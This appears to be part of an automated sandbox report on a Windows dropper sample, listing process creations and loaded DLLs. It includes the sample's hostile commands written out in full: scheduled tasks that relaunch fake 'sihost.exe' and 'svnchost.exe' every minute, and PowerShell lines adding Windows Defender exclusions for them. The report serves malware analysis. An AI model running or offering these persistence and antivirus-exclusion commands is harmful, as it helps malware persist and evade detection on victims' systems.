Source: unknown Process created: C:\Users\user\AppData\Local\Temp\svnchost.exe "C:\Users\user\AppData\Local\Temp\svnchost.exe"
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\svnchost.exe "C:\Users\user\AppData\Local\Temp\svnchost.exe"
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\sihost.exe C:\Users\user\AppData\Local\Temp\sihost.exe
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\svnchost.exe C:\Users\user\AppData\Local\Temp\svnchost.exe
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn Windows-Update-Manager /tr 'C:\Users\user\AppData\Local\Temp\sihost.exe' /sc minute /mo 1 /st 00:01 /f Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\explorer.exe' Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe' Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svnchost.exe' Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svnchost.exe' Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svnchost" /tr "C:\Users\user\AppData\Local\Temp\svnchost.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: aepic.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: twinapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: aepic.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: twinapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
